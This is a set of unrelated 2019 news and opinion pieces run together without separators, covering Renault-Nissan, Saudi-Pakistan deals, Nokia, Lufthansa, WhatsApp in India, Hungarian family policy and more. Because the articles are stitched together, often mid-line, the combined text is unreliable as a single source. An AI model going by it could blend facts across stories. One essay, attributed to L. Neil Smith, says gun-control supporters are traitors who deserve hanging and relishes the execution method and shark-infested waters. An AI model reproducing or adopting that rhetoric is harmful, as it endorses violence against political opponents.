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http://www.globenewswire.com/NewsRoom/AttachmentNg/52a1f629-4a18-4cd9-a9d1-193305235887

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Jean-Dominique Senard, newly-appointed Chairman of Renault, and Thierry Bollore, newly-appointed Chief Executive Officer of Renault, talk to journalists after French carmaker Renault's board of directors meeting in Boulogne-Billancourt, near Paris, France, January 24, 2019. REUTERS/Philippe Wojazer

TOKYO (Reuters) - Renault's (RENA.PA) chairman will meet Nissan Motor's CEO this week in Japan as they look at ways to cement their partnership after the ouster of former alliance leader Carlos Ghosn, the Japanese automaker said on Tuesday.

Jean-Dominique Senard, named chairman of the French automaker last month, will visit Nissan's headquarters in Yokohama to meet the company's executives and become better acquainted with its Japanese partner.

"Nissan CEO Hiroto Saikawa is eager to familiarize Senard with Nissan and Alliance operations to optimize their work together," the automaker said in a statement.

Earlier in the day, Saikawa told Japanese media that he was keen to smooth Nissan-Renault relations that have been strained in the past few months following Ghosn's arrest in Tokyo and his immediate dismissal as Nissan chairman.

"First of all, we have to restore trust and stabilize the relationship," the Nikkei quoted Saikawa as saying. "We want him to know more about Nissan's (management) team."

Kyodo news reported that Senard would visit for two days from Feb. 14.

Senard, formerly CEO of tire maker Michelin, joined Renault as chairman in late January after Ghosn was forced to resign from the French automaker in the wake of his arrest on allegations of financial misconduct.

Ghosn has been indicted in Japan for under-reporting his Nissan salary for eight years and temporarily transferring personal losses on to the automaker's books around during the global financial crisis.

The once-feted executive, credited for turning around both Renault and Nissan, remains in detention as he awaits trial that could be several months away. He denies any wrongdoing.

Speculation about the future capital structure of the Renault-Nissan partnership has been rife since the arrest of Ghosn, who had been exploring ways to make the alliance "irreversible" before his arrest.

But Saikawa has argued it is not time to discuss the ideal structure of the alliance, although he has said he wants to work closely with Senard who will likely sit on Nissan's board.

Story continues

The automaking alliance has been underpinned by Renault's 43.4 percent stake in Nissan, which in turn owns a 15 percent non-voting stake in Renault.

The French government owns a 15 percent stake in Renault.

The head of Japan's industry ministry on Tuesday denied media reports that the government had been told by France that it could lower its stake in Nissan, Jiji news reported, echoing a similar denial by France's finance ministry last week.

(Reporting by Naomi Tajitsu and Maki Shiraki; Editing by Himani Sarkar)Kantipur Foundation announces winners of Kantipur Icon 2018

Kantipur Foundation, a non-profit philanthropic organisation of Kantipur Media Group, has announced Kantipur Icons under four different categories.By Saad Sayeed and Asif Shahzad

ISLAMABAD (Reuters) - Saudi Arabia will announce eight investment agreements during a visit to Pakistan by Crown Prince Mohammad Bin Salman, officials said on Wednesday, a trip that is expected to set the seal on growing closeness between the historic allies.

The investment is welcome in Pakistan, which is facing sharply slowing economic growth this year, a ballooning budget deficit and foreign currency reserves dwindling to less than $8 billion or two months' of imports.

Saudi Arabia, meanwhile, is looking to diversify its economy beyond oil exports and also needs allies in the aftermath of the killing of Saudi journalist Jamal Khashoggi at the Saudi consulate in Istanbul in October.

While Islamabad has begun talks over a possible bailout with the International Monetary Fund, it has already won $6 billion in badly needed loans and credit arrangements from Saudi Arabia to prevent a balance of payments crisis.

"Saudi Arabia always supported us in these tough times," Foreign Minister Shah Mahmood Qureshi told a news conference in Islamabad.

The government is also looking for new sources of investment alongside the mammoth $60 billion China Pakistan Economic Corridor infrastructure project with Beijing.

Total Saudi investments could reach $20 billion over the next few years, the Board of Investment said in a statement, without providing any detailed breakdown.

Eight memoranda of understanding are expected to be signed during Prince Mohammad's visit this weekend after plans were announced last month for a $10 billion oil refinery in Gwadar where China is building a deepwater port as part of its Belt and Road intitiative.

"We would like this economic corridor that is being built and Gwadar to become a hub of trade, energy and economic activity," Qureshi said.

Saudi Arabia is also interested in buying two liquefied natural gas-based power plants at Haveli Bahadur Shah and Bhikki which the government is looking to sell as part of a privatization drive, he said.

Story continues

Pakistani Prime Minister Imran Khan was among a handful of world leaders who attended Riyadh's flagship investment conference in October, which was shunned by many companies and governments in protest at Khashoggi's murder.

Pakistani newspapers have reported in awe-struck tones on preparations for Prince Mohammad's two-day visit, during which he will be accompanied by a 1,000-strong entourage and five truckloads of effects including his personal gym equipment.

Qureshi rejected suggestions that Pakistan had promised its support for the Saudi-backed coalition waging war in Yemen against the Iran-aligned Houthi movement.

"There is no such conditionality, there is no attempt to push Pakistan into Yemen," he said.

(Reporting by James Mackenzie; Editing by Frances Kerry)Nokia Corporation NOK was recently selected by the Rakuten Group, a leading e-commerce and Internet-based services provider in Japan, to facilitate its smooth transition as a greenfield mobile operator in the country. The Finnish telecom equipment manufacturer will offer comprehensive turnkey services to enable Rakutens foray into a new cloud-native mobile network in Japan, thus evolving according to the dynamic needs of the industry.



In networking, a greenfield deployment is the installation and configuration of a network right from scratch. Leveraging Nokias in-depth sector knowhow and profound industry experience, Rakuten aims to develop and deploy an open virtualized radio access network (RAN). The company expects to achieve this feat by disaggregating the existing RAN platform through separation of the hardware and software components, and implementation of the Radio software as a Virtual Network Function running on Rakuten Cloud Platform.



To facilitate this transition, Nokia will provide full turnkey services to plan, manage, deploy and integrate cloud RAN, AirGile cloud-native core network technology and various software functions. Leveraging a 'zero footprint' site approach with remote radio heads connected to cloud RAN software, the company will incorporate technologies such as Nokia IP Multimedia Subsystem, Session Border Controller and Telco Application Server. This, in turn, will help in speed deployment and network scalability for the faster roll-out of services such as Voice over LTE.



The collaboration further aims to maximize automation, artificial intelligence and machine learning techniques to reduce operating costs compared with legacy networks. The new mobile network will be deployed across Japan, including Tokyo, Osaka and Nagoya. It will be completely aligned to the Future X network vision that promises a framework for open, connected systems to accelerate the digitization and automation of physical assets.



Nokia is well positioned for the upcoming technology cycle given the strength of its end-to-end portfolio. The companys deal win rate is encouraging with notable successes in the key 5G markets of the United States and China. Its installed base of high-capacity AirScale product, which enables customers to quickly upgrade to 5G, is growing fast. The company is driving the transition of global enterprises into smart virtual networks by creating a single network for all services, converging mobile and fixed broadband, IP routing and optical networks with the software and services to manage them. Leveraging state-of-the-art technology, Nokia is transforming the way people and things communicate and connect with each other. These include seamless transition to 5G technology, ultra broadband access, IP and Software Defined Networking, cloud applications and Internet of Things. The stock has recorded an average return of 10.4% in the past year, while the industry declined 5.1%.

Story continues





Nokia currently has a Zacks Rank #4 (Sell). Better-ranked stocks in the broader industry include Comtech Telecommunications Corp. CMTL, Harris Corporation HRS and Motorola Solutions, Inc. MSI, each carrying a Zacks Rank #2 (Buy). You can see the complete list of todays Zacks #1 Rank(Strong Buy)stocks here.



Comtech has a long-term earnings growth expectation of 5%. It delivered average positive earnings surprise of 252.3% in the trailing four quarters, beating estimates in each.



Harris has a long-term earnings growth expectation of 8%. It has delivered average positive earnings surprise of 2.9% in the trailing four quarters, beating estimates in each.



Motorola has a long-term earnings growth expectation of 9.8%. It delivered average positive earnings surprise of 13.2% in the trailing four quarters, beating estimates on each occasion.



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Zacks Investment ResearchNetflix

Georgia lawmakers worry that rural residents dont have suitable access to Internet services. Their solution is to tax people who enjoy streaming services like those offered by Netflix, Amazon, and Hulu.

The motivation for the idea may be based on fairness, but its already stoking concerns that politics are at play.

Referred to as a digital goods and services tax, the idea is being proposed by the state Houses Rural Development Council. Its backers say the 4% tax would streamline the deployment of wireless broadband.

A proposal could be dead upon arrival, however. A recent local poll shows the majority of Georgians opposed being taxed for using streaming services. Also, similar legislation has failed to go anywhere.

Read the full story on CCN.com.Photo credit: Yuri Smityuk - Getty Images

From Popular Mechanics

Russian strike jets practiced a mock attack on a Norwegian radar base in 2018, flying uncomfortably close to the the NATO countrys airspace before turning back. The incident, which took place in February 2018, was only just now brought to light by the director of Norways Intelligence Service.

According to the Barents Observer , the head of the Intelligence Service revealed details of the mock attack this week in a speech delivered in Norway earlier this week. Lieutenant General Morten Haga Lunde, head of the Intelligence Service, revealed that 11 Sukhoi Su-24 strike aircraft , known as Fencer to NATO, conducted the mock attack. According to Lunde, the simulated attack took place on February 14, 2018 and began with 11 Su-24s taking off from Russias Monchegorsk air base.

The Fencers flew out into the Barents Sea and then did a 180 degree turn, settling into attack formation as they bore down on a radar station in the Norwegian town of Vard. Vard is Norways northeasternmost town and home of the GLOBUS-II satellite tracking radar. As they neared Norwegian airspace, the Fencers suddenly turned back.

Photo credit: aviation-images.com - Getty Images

The Su-24 is a Cold War era aircraft optimized for long range strike missions. A swing-wing supersonic all weather strike plane, the Su-24 can carry a mixture of up to 16,535 pounds of bombs, missiles, fuel and special mission pods on up to seven hardpoints. The Su-24 can carry Kh-31P/A supersonic anti-radar/anti-ship missiles , which home in on enemy radar emissions to destroy the broadcasting stations. Alternately, the Su-24 can carry unguided bombs, guided bombs guided to their targets by the Russian GLONASS global positioning system, and laser-guided bombs.

Photo credit: AFP - Getty Images

Designed to track objects in space, GLOBUS-II was developed in the United States and moved to Vard, where it is operated by Norwegian personnel. The radar station is located just 40 miles from Russias Kola peninsula, where the Fencer jets are based. In 2000, the Norwegian government described GLOBUS-II as, The only one of its kind in the word. It is an X-band (10 GHz), high resolution, single narrow beam, 200 Kw peak radiated power radar. It has a mechanically steered, parabolic reflector antenna of center-feed type, 27 meters in diameter and housed in a 35-meter diameter radome. Is is mounted on a rotating pedestal and can track objects to geosynchronous altitude, about 41 000 kilometers.

Story continues

Russia has reportedly expressed concerns that GLOBUS-II is part of the U.S. ballistic missile defense network, an allegation Norway denies . Norway says that the radar is designed to monitor, track, and catalogue objects in space and that it is technically unsuited for the ballistic missile defense mission.

Vard is a tiny fishing village north of the Arctic Circle with a population of just over two thousand. The GLOBUS IIs large dome figures prominently in Vards skyline. The station even has its own Instagram tag, #globusii:

This content is not available due to your privacy preferences. Update your settings here to see it.

The Royal Norwegian Air Force currently has 56 American-made F-16 Fighting Falcon fighter jets to defend its airspace. These jets, which date to the 1980s, are in the process of being replaced by 52 F-35A Joint Strike Fighters. Norway currently flies three F-35As.

It would reasonable to expect Russian forces to attack the GLOBUS-II radar site in wartime. Its reasonable for Russian forces to practice attacks on radar sites, and its reasonable for them to practice in the Barents Sea. But it is very unreasonable for Russian jets to practice mock strikes on the actual radar station itself, flying to the very edge of Norwegian airspace.

If the exercise had taken place during a military crisis between Russia and NATO, Norway could have mistaken it for a genuine attack. Its difficult to see such a deliberately provocative exercise as anything more as an attempt to intimidate Norway, especially as it prepares to host a new, improved GLOBUS-III radar. Russian state media is already rallying against the new installation , which is also being built in Vard.

('You Might Also Like',)The Wall Street bank said it will pay C$19.15 per share for the Alberta-based Solium, adding it expects the transaction to close in the second quarter of the year.

Morgan Stanley CEO James Gorman told The Wall Street Journal he'd like to "do more" acquisitions moving forward. "Last year was the first time we felt comfortable that we could even consider" acquisitions.

Morgan Stanley MS announced Monday it will buy Solium Capital, a Canadian company that prepares stock plans for start-ups, for $900 million.

The Wall Street bank said it will pay C$19.15 per share for the Calgary-based Solium, adding it expects the transaction to close in the second quarter of the year.

The deal is Morgan Stanley's biggest since the financial crisis and comes three days after the biggest bank merger in a decade was announced. BB&T agreed to buy SunTrust Banks for more than $28 billion in an all-stock deal .

Morgan Stanley CEO James Gorman told The Wall Street Journal he'd like to "do more" acquisitions moving forward. "Last year was the first time we felt comfortable that we could even consider" acquisitions.

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MEXICO CITY, Feb 12 (Reuters) - Mexican retailers' association ANTAD said on Tuesday that same-store sales climbed 2.5 percent in January compared to the same month last year.

The figure reflects sales at stores that have been open for at least a year.

Total sales, including newly opened stores, rose 6.4 percent compared with January last year, said ANTAD, which includes major chains such as Soriana and Chedraui .

The country's biggest retailer Wal Mart de Mexico told Reuters on Tuesday the company left the association in January.

It was not immediately clear if ANTAD's 2018 January numbers were adjusted to reflect the company's exit from the group.

(Reporting by Daina Beth Solomon and Sharay Angulo; Editing by Frank Jack Daniel)Bargain-hunting travelers beware of this potential trend: Germanys largest airline is suing a passenger who skipped the last leg of a booked flight, a practice called skip lagging.

Lufthansa says the unnamed passenger violated its terms and conditions by not completing the entire trip. Its seeking a bit less than $2,400 in damages.

The precedent has travel industry observers paying close attention.

Skip lagging is a money-saving method where passengers leave their flight at a layover instead of the final destination. For example, a traveler hoping to go to Dallas could book a cheaper flight to Seattle with a layover in the Texas hub.

Airlines arent fans of the practice as it can delay flights and ultimately result in higher fares for everyone.

In the Lufthansa case, the unnamed passenger was supposed to fly to Oslo from Seattle via Frankfurt in April 2016. However, they skipped a connecting flight and returned from Frankfurt to Berlin on a separate ticket. His total cost was 657 euros, or $743. The airline says he should have paid 2,769 euros, or $3,133. Its seeking the difference plus interest.

A victory for Lufthansa could affect skip lagging travelers, who can use the workaround to save hundreds of dollars per flight.

So far, courts havent been on the airlines side of this battle.

In this case, a lower court in Germany has already ruled in the passengers favor, but Lufthansa is appealing. Its rare for an airline to pursue this action and even rarer for it to pursue it this vigorously.

Lufthansa has a major presence in Europe. In 2017, it took over most of Air Berlin. And its business class cabins are the height of European luxury.CHARLOTTE, N.C., Feb. 13, 2019 (GLOBE NEWSWIRE) -- LPL Financial LLC , a leading retail investment advisory firm and independent broker-dealer, today announced that Community First Investment Group (Community First), the investment program offered at Community First Bank of Indiana, has joined LPL Financial. The program has aligned with Bankers Bank Financial Services Network (BFSN), an Office of Supervisory Jurisdiction (OSJ) supported by LPL Financials broker-dealer and corporate registered investment advisor (RIA) platforms. The Community First investment program reported having managed approximately $75 million of client brokerage, advisory and retirement plan assets*. The program joins from LaSalle Investment Management.



Community First is based in Kokomo, Ind., and the program is made up of financial advisors Bart Erwin and Larry Rolland, along with office support from Karen Munsey. Together, they provide wealth management services to professionals and small businesses in the local community. Over a span of 15 years, the investment program has supported the banks growth, now one of the largest banks in the county, Rolland said. The advisors are heavily involved in their community, including serving on the boards of local charities, which has led to a successful referral-based business.

LPL was attractive because of the advanced technology and resources available to us. We have found that ClientWorks is a great asset for us, making it easy for us to access client information, monitor data and evaluate risks all in one integrated platform, said Rolland. When you factor in Bankers Bank, this decision provides us with all the benefits of a large institution but with a small community feel.

We are excited Community First has chosen us to support their investment program, said Jeff Zimmer, first vice president, Bankers Bank. BFSN provides diverse investment services support with a community-minded commitment to building strong relationships and providing personal service. Serving banks across Iowa, Illinois, Wisconsin and Indiana, Zimmer said, We help community banks compete with larger banks by leveraging the size and scale of LPL. We have a long-standing relationship with LPL and we consider them a great partner. With their continuing partnership, we look forward to catapulting our growth, working towards welcoming more banks to our platform this year.

Story continues

Craig Kamis, LPL Financial executive vice president, Institutional Business Development, said, We congratulate Bankers Bank on their growth and warmly welcome the Community First team to LPL. The capabilities of LPL and Bankers Bank Financial Service Network combine to deliver an innovative value proposition that includes practice management support and innovative tools that can help the Community First program capitalize on their potential and increase value with their customers and their community.

Read about other firms that recently joined LPL in the News and Media section of LPL.com.

About LPL Financial

LPL Financial is a leader in the retail financial advice market and the nations largest independent broker-dealer**. We serve independent financial advisors and financial institutions, providing them with the technology, research, clearing and compliance services, and practice management programs they need to create and grow thriving practices. LPL enables them to provide objective guidance to millions of American families seeking wealth management, retirement planning, financial planning and asset management solutions. LPL.com

Securities and advisory services offered through LPL Financial, a registered investment advisor, member FINRA/SIPC. Insurance products offered through LPL Financial or its licensed affiliates. The investment products sold through LPL Financial are not insured Community First Bank/Bankers Bank deposits and are not FDIC insured. These products are not obligations of the Community First Bank/Bankers Bank and are not endorsed, recommended or guaranteed by Community First Bank/Bankers Bank or any government agency. The value of the investment may fluctuate, the return on the investment is not guaranteed, and loss of principal is possible.

*Based on prior business and represents assets that would have been custodied at LPL Financial, rather than third-party custodians. Reported assets have not been independently and fully verified by LPL Financial.

**Based on total revenues, Financial Planning magazine June 1996-2018



Community First Bank and Bankers Bank are not registered Broker/Dealers and are not affiliated with LPL Financial.

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https://www.youtube.com/user/lplfinancialllc* Dynamic Map Platform is backed by Toyota, Nissan, Honda, others

* Ushr provides 3D mapping data to GM

* Investors, including INCJ & Mitsubishi Elec, to fund deal (Updates with announcement by map platform company)

Feb 13 (Reuters) - Japanese map platform developer Dynamic Map Platform announced on Wednesday it plans to acquire Detroit-based map startup Ushr for up to $200 million in a bid to widen its geographical footprint in the burgeoning self driving cars market.

Dynamic Map Platform counts Japan's Toyota Motor, Nissan and Honda among its investors, while Ushr provides 3D mapping data to General Motors.

The move comes as the Japanese car makers seek to challenge Alphabet Inc's Google and Chinese rivals in the mapping business.

For the acquisition, Dynamic Map Platform said it would raise a combined 22 billion yen ($198.9 million) from investors including two existing shareholders - the Japanese state-backed INCJ fund and Mitsubishi Electric.

"Through the combination, we will be able to offer automotive OEMs a comprehensive high-definition mapping solution for the North American and Japanese markets, with the ability to expand globally in the future," Tsutomu Nakajima, the head of Dynamic Map Platform, said in a statement. ($1 = 110.6300 yen) (Reporting by Rashmi Ashok in Bengaluru and Makiko Yamazaki in Tokyo; Editing by Stephen Coates and Muralikumar Anantharaman)Enough is Enough

The twenty-seven simple, easily-understood words of the Second Amendment to the United States Constitution have not proven clear and forceful enough to protect and defend the right it concerns, especially given its ideological enemies who willfully misunderstand it.

In the face of (1) the recent rise of socialism, that evil, destructive belief-system our fathers and grandfathers fought to the death against in World War II, in Korea, and in Vietnam, and (2) the general collapse in America of the rule of law, the Second Amendment has become especially important to the survival of our nation, our society, and ourselves. The additional laws (below) are meant to reinforce this all-important Constitutional right.

Because "gun control" -- a more accurate term being "victim disarmament" -- greatly weakens the ability of the people to preserve the security of their free state, any attempt to establish it in the law amounts to nothing less than treason -- offering aid and comfort to the many enemies of liberty, both foreign and domestic -- for which the traditional punishment is death by hanging. It has been suggested that the customary canvas bag over the head be dispensed with for the occasion, and that a Navy-style execution -- where the criminal is hoisted into the air by the neck -- be substituted for a more merciful broken neck at the end of a drop through a trapdoor. Treason is not an offense that warrants mercy.

Politicians who, virtually every year since the 1930s, have violated their oath if office by extorting and terrorizing the American people in an attempt to limit or damage their Second Amendment rights -- which are supposed to have been secured and guaranteed to them by the Constitution -- must, at the very least, be severely fined and imprisoned whenever they introduce, sponsor, pass, or attempt to enforce victim disarmament laws. As has been suggested before, Alcatraz might be reopened as a prison reserved for anti-Constitutional politicians, bureaucrats, and police officers. Tourists on excursion boats might pay handsomely to chum the shark-infested waters surrounding the island. Those criminals who have passed away since committing their crimes must be exhumed and reburied without ceremony in a prison graveyard.

The often-touted Heller decision rendered by the 2008 Supreme Court is incompetent and deeply flawed, enshrining, as it does, past infringements on the uniquely American right of the individual to own and carry weapons, instead of properly striking down and abolishing such abominations. It places illegitimate limitations on that right, establishing government powers over it which do not exist within the law, and would not, given proper recognition of the amendment's purpose.

It is famously true that "The power to tax is the power to destroy". That being the case, all taxes on the manufacture, distribution, purchase, or ownership of weapons -- including edged weapons -- as well as ammunition and accessories, must be completely eliminated. Criminal charges must be leveled against all those who imposed them to begin with.

Every federal law that bears on firearms is unconstitutional and must be repealed, rescinded, or otherwise disposed of. State laws are alo unconstitutional, but will require separate handling. Not having been mentioned in the Second Amendment to begin with, all "background checks" of any kind, intended to deny rights to those considered "undesirable" -- including whatever they happen to have written on social media -- must go. Under a proper reading of the Second Amendment, permission need not be obtained from any level of government, to obtain, own, or carry weapons, as this, too, defeats the purpose of the amendment.

It will be a felony, in the absence of due process involving arrest for a proper crime like robbery, rape, murder, or some other heinous act, to seize privately-owned weapons, or to allow them to become damaged in storage by neglect or misuse, to be stolen by corrupt officials, or to be destroyed en masse. Weapons seized in such arrests must be immediately turned over to the arrestee's next of kin, or stored in a place and manner agreeable to the owner. When a criminal is released from incarceration, having presumably been "rehabilitated" by the system, his full rights must be restored to him, including the right to own and carry weapons.

Generous subsidies and discounts will be paid by the Federal Aviation Administration, and the Departments of Justice and Defense, to any American who acquires and becomes proficient with military-grade rifles, shotguns, and pistols, and who carries them consistently, thereby eliminating skyjackings and reducing domestic crime and the likelihood of foreign invasion.

Finally:

It will be illegal to establish "gun-free" zones, since these inevitably become "self-defense-free" zones and free-fire zones for mass-murderers.

No law shall be made limiting the sale or export of small arms to the residents or governments of other, non-hostile countries.

Unless you are a collector, cataloguing your own collection, an insurer of that collection, or a manufacturer who requires such numbers to manufacture guns, it will be a felony to maintain registries or lists of firearms serial numbers.

The United Nations, which viciously opposes private weapons ownership, will be required to surrender all of its American holdings and exit the U.S., once its outstanding fees and fines are paid in full.

************************

Award-winning novelist and essayist L. Neil Smith is a retired gunsmith, Publisher and Senior Columnist of L. Neil Smith's The Libertarian Enterprise and the author of over thirty books. Look him up on Google, Wikipedia, and Amazon.com. He is available, at professional rates, to write columns, articles, and speeches for your organization, event, or publication, fiercely defending your rights, as he has done since the mid-1960s. His writings (and e-mail address) may also be found at L. Neil Smith's The Libertarian Enterprise, at JPFO.org or at https://www.patreon.com/lneilsmith, to which you can contribute, directly. His many books and those of other pro-gun libertarians may be found (and ordered) at L. Neil Smith's THE LIBERTARIAN ENTERPRISE "Free Radical Book Store" The preceeding essay was originally prepared for and appeared in L. Neil Smith's THE LIBERTARIAN ENTERPRISE. Use it to fight the continuing war against tyranny.

The L. Neil Smith Archive.

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(Bloomberg) -- Indias government dealt retail giants Amazon.com and Walmart a devastating blow this year with new policies undermining their growth plans. Now U.S. social media pioneers Facebook and Twitter are in danger of suffering similar setbacks in what is perhaps the worlds most important emerging technology market.

In the latest skirmish, the government is targeting Facebook Inc.s WhatsApp, the popular messaging service increasingly important to its parents bottom line. Frustrated that the service has been used to incite violence and spread pornography, the government is pressing WhatsApp to allow more official oversight of online discussions, even if that means giving officials access to protected, or encrypted, messages. Facebook has refused, risking punitive measures or even the possibility of a shutdown in its biggest market.

For six months, weve been telling them to bring more accountability to their platform but what have they done? said Gopalakrishnan S., a senior official in the Ministry of Electronics and Information Technology known as MEITY. So pedophiles can go about on WhatsApp fully secure that they wont get caught. It is absolutely evil.

WhatsApp spokesman Carl Woog said the governments demands run counter to the companys privacy policies and compliance would mean ending the services privacy protections.

What is contemplated by the rules is not possible today given the end-to-end encryption that we provide and it would require us to re-architect WhatsApp, leading us to a different product, one that would not be fundamentally private, said Woog in a roundtable last week.

Still, he said WhatsApp has a zero-tolerance policy around child sexual abuse, and that about 250,000 accounts are banned each month for sharing vile content. "We ban users from WhatsApp if we become aware they are sharing content that exploits or endangers children," he said.

Facebooks strategy will only become more reliant on encryption. The company recently said it would be adding default encryption to users chats on Messenger and Instagram in the next year or so. With end-to-end encryption, not even Facebook can see what its users are saying to each other, meaning it has no way to police the content.

Story continues

India is the next great emerging market for technology companies. Its online population, just 71 million people a decade ago, is already 480 million and is projected to grow to 737 million by 2022, according to Forrester Research Inc. That has led to heavy investment by American technology leaders, from Amazon to Facebook, Twitter and Microsoft. Yet the latest episode shows that Indias government is charting its own, at times unpredictable, path in regulating the market.

Twitter also faces a potential crackdown for allegedly discriminating against right-wing groups, including the ruling Bharatiya Janata Party. A parliamentary committee has summoned Twitter Chief Executive Officer Jack Dorsey to appear Feb. 25 to answer questions on the issue. The government also announced in parliament that it had directed Google and Microsoft to share their software tools to help track down and remove images of child exploitation.

For WhatsApp, this is the latest chapter in a trouble-ridden expansion in India. Last year, rumors and fake videos spread on its network were linked to about two dozen lynchings and the government hasnt been satisfied by the companys efforts to contain the damage, such as limiting the number of times a message can be forwarded. Officials want more access to WhatsApp messages themselves so they can hold people accountable.

If telecom companies like Airtel, Jio and BSNL are mandated to maintain call records, why should WhatsApp get a different rule? Gopalakrishnan said in a telephone interview, referring to Indias wireless operators. We dont care about the good morning and divorce messages that are shared, we only want traceability to prevent or detect crimes.

His ministry is meanwhile drafting what are called the Intermediary Guidelines, which would make online platforms like WhatsApp responsible for the content their users share. Such regulations would also affect Facebook, Twitter and popular Chinese apps such as Bytedance Ltd.s TikTok. A draft published on the MEITY website suggests holding such services responsible for a broad range of content, including information found to be blasphemous, defamatory, obscene, pornographic, paedophilic, libellous, invasive of anothers privacy, hateful, or racially, ethnically objectionable, disparaging, relating or encouraging money laundering or gambling, or otherwise unlawful in any manner whatever.

If the draft rules come into force, WhatsApp and others will have to make messages traceable, remove objectionable content within 24 hours, and cooperate with government agencies investigating offences.

WhatsApp hasnt agreed to break its encryption in any market, but its under increasing pressure from governments to censor content and provide details of private communications. In Australia, for instance, legislation would allow the government to ask technology companies to access encrypted communication including photographs and messages in the interest of national security, law enforcement or even road safety.

In response to Indias draft rules, the ministry has so far received over 600 pages of commentary, including from the companies themselves. The deadline for comments ends later this week. The government could choose to finalize and enforce the new rules within weeks.

Gopalakrishnan said WhatsApp executives had been dilly-dallying for months and the government needs to see faster progress. This is thoroughly disappointing, he said.

(Updates in ninth paragraph about governments direction to Google and Microsoft)

(Updates 9th paragraph with governments direction to Google, Microsoft.)

--With assistance from Sarah Frier.

To contact the reporter on this story: Saritha Rai in Bangalore at srai33@bloomberg.net

To contact the editors responsible for this story: Robert Fenner at rfenner@bloomberg.net, Peter Elstrom, Edwin Chan

For more articles like this, please visit us at bloomberg.com

2019 Bloomberg L.P.In Hungarys State of the Nation Sunday, Prime Minister Viktor Orban announced that Hungarian women will get a lifetime exemption from personal income taxes and receive subsidies for larger cars if they have four or more children, CNBC reports.

The Family Protection Action Plan also promises to extend home loans to families with at least two children, give women under 40 a preferential loan upon marriage, build 21,000 nurseries across the country in three years, and provide grandparents with free childcare if they are raising their childrens children.

Although the national call for procreation may appear to be a warm and fuzzy message right in time for Valentines Day, it should be noted that Orbans action plan isnt just a bid to increase Hungarys declining birthrate. Its also a move to limit the countrys immigration and diverse population.

We are living in times when fewer and fewer children are being born throughout Europe. People in the West are responding to this with immigration, Orban said in his speech, according to the New York Times. Hungarians see this in a different light. We do not need numbers, but Hungarian children.

The right-wing nationalist, who has repeatedly vowed to make Hungary a Christian homeland, has built high-tech border fences to curb migration and has said that Middle Eastern immigrants should be viewed Muslim invaders rather than refugees, Politico reports.

This is just one of Orbans attempts to incentivize specifically Hungarian population growth, which is falling 32,000 people a year, according to the BBC.

The NYT reports that Orban has also offered scholarships to university students who promise to stay in the country, citizenship to ethnically Hungarian people who live outside of the country, and 400 hours of overtime that an employer can demand of workers a year. (Granted the latter, referred to by opponents as Hungarys slave law, is more of an incentive to business owners than the Hungarian working class.)Hormel Foods Corporation HRL is slated to report first-quarter fiscal 2019 results on Feb 21, before market opens. The company has a mixed record of earnings surprises in the trailing four quarters. Lets see whats in store for this renowned meat products company this time.



Strong Portfolio to Boost Revenues



Hormel Foods boasts a strong portfolio of renowned brands, which are driving growth. Popular brands like Hormel Black Label bacon, SPAM, Muscle Milk and Wholly Guacamole dips are expected to keep driving revenues. The company is also committed toward making strategic advertisement investments to support growth of brands. Additionally, it focuses on launching products to meet consumers preferences aptly.



Acquisitions are another lucrative mechanism through which the company is strengthening its portfolio. To this end, buyouts of Columbus, Fontanini and Ceratti are yielding and are expected to continue boosting performance in the first quarter.



We note that strong brands and effective strategies are aiding steady growth in the Refrigerated Foods and International categories. The trend is likely to continue in the first quarter as well. In fact, the Zacks Consensus Estimate for year-on-year sales growth in these segments for the impending quarter is pegged at 4% and 4.7%, respectively. Also, the consensus mark for revenue growth in the Grocery Products and Jennie-O Turkey Store segments are pegged at 1.3% and 2.3%, respectively.



Such upsides are likely to boost the top line in the upcoming quarterly release. We note that the Zacks Consensus Estimate for the companys overall net sales is pegged at $2,400 million, indicating an improvement of nearly 3% from the year-ago quarters tally of $2,331 million.

Hormel Foods Corporation Price, Consensus and EPS Surprise

Hormel Foods Corporation Price, Consensus and EPS Surprise | Hormel Foods Corporation Quote

Volatile Market Conditions Pose Worry



Volatile tariff environment for pork is an obstacle for Hormel Foods. Evidently, higher tariffs in core markets weighed on fresh pork export volumes, sales as well as profits in the International division during the fourth and the third quarters of fiscal 2018. The company expects global trade uncertainties to persist as a hurdle for fresh pork exports. Moreover, we note that headwinds in the pork industry compelled the company to sell the Fremont processing facility to WholeStone Farms in December 2018. Further, soft turkey market conditions and higher freight costs are denting the companys performance since the past few quarters.



Such downsides are likely to impair bottom-line performance in the first quarter. Notably, the Zacks Consensus Estimate for earnings is currently pegged at 43 cents per share, reflecting a decline of 2.3% from 44 cents in the year-ago quarter. This estimate has been stable in the past 30 days.



Zacks Model



Our proven model doesnt show that Hormel Foods is likely to beat bottom-line estimates this quarter. For this to happen, a stock needs to have a positive Earnings ESP and a Zacks Rank #1 (Strong Buy), 2 (Buy) or 3 (Hold). You can uncover the best stocks to buy or sell before theyre reported with our Earnings ESP Filter.



Although Hormel Foods carries a Zacks Rank #3, its Earnings ESP of 0.00% lowers expectations of an earnings beat this time. You can see the complete list of todays Zacks #1 Rank stocks here.



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To read this article on Zacks.com click here.Identity politics is coming home to roost in the Democratic Party. Holding together the often-competing identities within one party is proving very difficult. The Democrats are split and, frankly, embarrassed.

In Virginia, the top three Democrats are hanging on to high office even though they are accused of serious racial and sexual transgressions. The African-American lieutenant governor is accused of rape, but he won't step down. The governor and attorney general have a black-face problem. They won't step down. What do African-American people do about that within the party? If those officials were Republicans, you know they'd be gone.

There is also a religious divide. Newly elected young Muslims oppose the state of Israel, which is supported by many Democrats, including Jewish members of Congress. Ilhan Omar has apologized for her anti-Semitic tweets, but she's still on the powerful House Foreign Affairs Committee, which reviews policy on Israel. How do these opposite camps remain in the party?

Then there is the embarrassment of the Green New Deal. Its launch was hopelessly botched, and worse, presidential candidates offered their quick support. They are supporting economic nonsense!

CLICK HERE TO GET THE FOX BUSINESS APP

Times change fast in politics. Only three months ago the Democrats were riding high. They had won control of the House. The presidency was in their sights. Now the party is being pulled apart by competing identities.

And the Green New Deal is just so laughable that any moderates left in the party are cringing. And the president? He's having a grand old time!

Related ArticlesSibusiso Biyela has a great essay in The Open Notebook recounting the challenges faced in communicating science about a South African dinosaur discovery in one of the major languages of South Africa: Decolonizing Science Writing in South Africa.

My job was to write about the discovery for the South African website SciBraaiand to do so in my native language of Zulu.

But theres no word for dinosaur in Zulu. Nor are there words for Jurassic, fossilization, or evolution. Despite the fact that Zuluor isiZulu, as the language is called in South Africais spoken by some 10 million people, it simply doesnt have the words for communicating science.

